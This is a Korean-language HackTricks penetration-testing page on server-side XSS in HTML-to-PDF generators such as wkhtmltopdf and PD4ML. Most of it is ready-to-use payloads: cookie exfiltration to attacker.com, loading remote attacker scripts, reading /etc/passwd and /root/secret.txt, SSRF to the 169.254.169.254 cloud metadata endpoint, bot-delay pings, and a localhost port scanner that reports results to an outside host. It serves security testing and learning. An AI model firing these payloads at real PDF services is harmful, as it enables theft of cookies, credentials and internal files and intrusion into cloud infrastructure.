Server Side XSS (Dynamic PDF)

Support HackTricks

Server Side XSS (Dynamic PDF)

사용자 제어 입력을 사용하여 PDF를 생성하는 웹 페이지가 있는 경우, PDF를 생성하는 봇을 속여서 임의의 JS 코드를 실행하도록 시도할 수 있습니다. 따라서 PDF 생성기 봇이 어떤 종류의 HTML 태그를 찾으면, 이를 해석하게 되고, 이 동작을 악용하여 서버 XSS를 유발할 수 있습니다.

<script></script> 태그는 항상 작동하지 않으므로, JS를 실행하기 위해 다른 방법이 필요합니다(예: <img 악용). 또한, 일반적인 익스플로잇에서는 생성된 PDF를 보고/다운로드할 수 있으므로, JS를 통해 작성한 모든 것을 볼 수 있습니다(예: document.write() 사용). 그러나 생성된 PDF를 볼 수 없다면, 아마도 웹 요청을 통해 정보를 추출해야 할 것입니다(블라인드).

  • wkhtmltopdf는 HTML과 CSS를 PDF 문서로 변환하는 능력으로 알려져 있으며, WebKit 렌더링 엔진을 활용합니다. 이 도구는 오픈 소스 명령줄 유틸리티로 제공되어 다양한 애플리케이션에서 접근할 수 있습니다.

  • TCPDF는 PDF 생성을 위한 PHP 생태계 내에서 강력한 솔루션을 제공합니다. 이미지, 그래픽 및 암호화를 처리할 수 있어 복잡한 문서를 생성하는 데 유용합니다.

  • Node.js 환경에서 작업하는 경우, PDFKit이 유효한 옵션을 제공합니다. HTML 및 CSS에서 직접 PDF 문서를 생성할 수 있어 웹 콘텐츠와 인쇄 가능한 형식 간의 다리를 제공합니다.

  • Java 개발자는 PDF 생성뿐만 아니라 디지털 서명 및 양식 작성과 같은 고급 기능을 지원하는 iText 라이브러리를 선호할 수 있습니다. 이 포괄적인 기능 세트는 안전하고 상호작용이 가능한 문서를 생성하는 데 적합합니다.

  • FPDF는 단순성과 사용 용이성으로 구별되는 또 다른 PHP 라이브러리입니다. 광범위한 기능이 필요 없는 PDF 생성을 원하는 개발자를 위해 설계되었습니다.

Payloads

Discovery

<!-- Basic discovery, Write somthing-->
<img src="x" onerror="document.write('test')" />
<script>document.write(JSON.stringify(window.location))</script>
<script>document.write('<iframe src="'+window.location.href+'"></iframe>')</script>

<!--Basic blind discovery, load a resource-->
<img src="http://attacker.com"/>
<img src=x onerror="location.href='http://attacker.com/?c='+ document.cookie">
<script>new Image().src="http://attacker.com/?c="+encodeURI(document.cookie);</script>
<link rel=attachment href="http://attacker.com">

SVG

이전의 모든 페이로드는 이 SVG 페이로드 내에서 사용할 수 있습니다. Burpcollab 서브도메인에 접근하는 iframe과 메타데이터 엔드포인트에 접근하는 또 다른 iframe이 예로 제시됩니다.

<svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="root" width="800" height="500">
<g>
<foreignObject width="800" height="500">
<body xmlns="http://www.w3.org/1999/xhtml">
<iframe src="http://redacted.burpcollaborator.net" width="800" height="500"></iframe>
<iframe src="http://169.254.169.254/latest/meta-data/" width="800" height="500"></iframe>
</body>
</foreignObject>
</g>
</svg>


<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<script type="text/javascript">
// <![CDATA[
alert(1);
// ]]>
</script>
</svg>

많은 다른 SVG 페이로드https://github.com/allanlw/svg-cheatsheet에서 찾을 수 있습니다.

경로 노출

<!-- If the bot is accessing a file:// path, you will discover the internal path
if not, you will at least have wich path the bot is accessing -->
<img src="x" onerror="document.write(window.location)" />
<script> document.write(window.location) </script>

Load an external script

이 취약점을 악용하는 가장 적합한 방법은 취약점을 이용하여 봇이 로컬에서 당신이 제어하는 스크립트를 로드하도록 만드는 것입니다. 그러면 로컬에서 페이로드를 변경하고 매번 동일한 코드로 봇이 이를 로드하도록 할 수 있습니다.

<script src="http://attacker.com/myscripts.js"></script>
<img src="xasdasdasd" onerror="document.write('<script src="https://attacker.com/test.js"></script>')"/>

로컬 파일 읽기 / SSRF

file:///etc/passwdhttp://169.254.169.254/latest/user-data로 변경하여 외부 웹 페이지에 접근해 보세요 (SSRF).

SSRF가 허용되지만 흥미로운 도메인이나 IP에 도달할 수 없는 경우, 이 페이지를 확인하여 우회 방법을 찾아보세요.

<script>
x=new XMLHttpRequest;
x.onload=function(){document.write(btoa(this.responseText))};
x.open("GET","file:///etc/passwd");x.send();
</script>
<script>
xhzeem = new XMLHttpRequest();
xhzeem.onload = function(){document.write(this.responseText);}
xhzeem.onerror = function(){document.write('failed!')}
xhzeem.open("GET","file:///etc/passwd");
xhzeem.send();
</script>
<iframe src=file:///etc/passwd></iframe>
<img src="xasdasdasd" onerror="document.write('<iframe src=file:///etc/passwd></iframe>')"/>
<link rel=attachment href="file:///root/secret.txt">
<object data="file:///etc/passwd">
<portal src="file:///etc/passwd" id=portal>
<embed src="file:///etc/passwd>" width="400" height="400">
<style><iframe src="file:///etc/passwd">
<img src='x' onerror='document.write('<iframe src=file:///etc/passwd></iframe>')'/>&text=&width=500&height=500
<meta http-equiv="refresh" content="0;url=file:///etc/passwd" />
<annotation file="/etc/passwd" content="/etc/passwd" icon="Graph" title="Attached File: /etc/passwd" pos-x="195" />

봇 지연

<!--Make the bot send a ping every 500ms to check how long does the bot wait-->
<script>
let time = 500;
setInterval(()=>{
let img = document.createElement("img");
img.src = `https://attacker.com/ping?time=${time}ms`;
time += 500;
}, 500);
</script>
<img src="https://attacker.com/delay">

포트 스캔

<!--Scan local port and receive a ping indicating which ones are found-->
<script>
const checkPort = (port) => {
fetch(`http://localhost:${port}`, { mode: "no-cors" }).then(() => {
let img = document.createElement("img");
img.src = `http://attacker.com/ping?port=${port}`;
});
}

for(let i=0; i<1000; i++) {
checkPort(i);
}
</script>
<img src="https://attacker.com/startingScan">

이 취약점은 SSRF로 매우 쉽게 변환될 수 있습니다(스크립트가 외부 리소스를 로드할 수 있기 때문입니다). 그러니 이를 이용해 보세요(메타데이터를 읽어보세요?).

Attachments: PD4ML

PDF에 첨부파일을 지정할 수 있는 HTML 2 PDF 엔진이 몇 가지 있습니다, 예를 들어 PD4ML. 이 기능을 악용하여 PDF에 로컬 파일을 첨부할 수 있습니다. 첨부파일을 열기 위해 Firefox로 파일을 열고 클립 기호를 더블 클릭하여 첨부파일을 새 파일로 저장했습니다. burp로 PDF 응답을 캡처하면 PDF 내에서 첨부파일이 일반 텍스트로 표시됩니다.

<!-- From https://0xdf.gitlab.io/2021/04/24/htb-bucket.html -->
<html><pd4ml:attachment src="/etc/passwd" description="attachment sample" icon="Paperclip"/></html>

References

HackTricks 지원하기

Last updated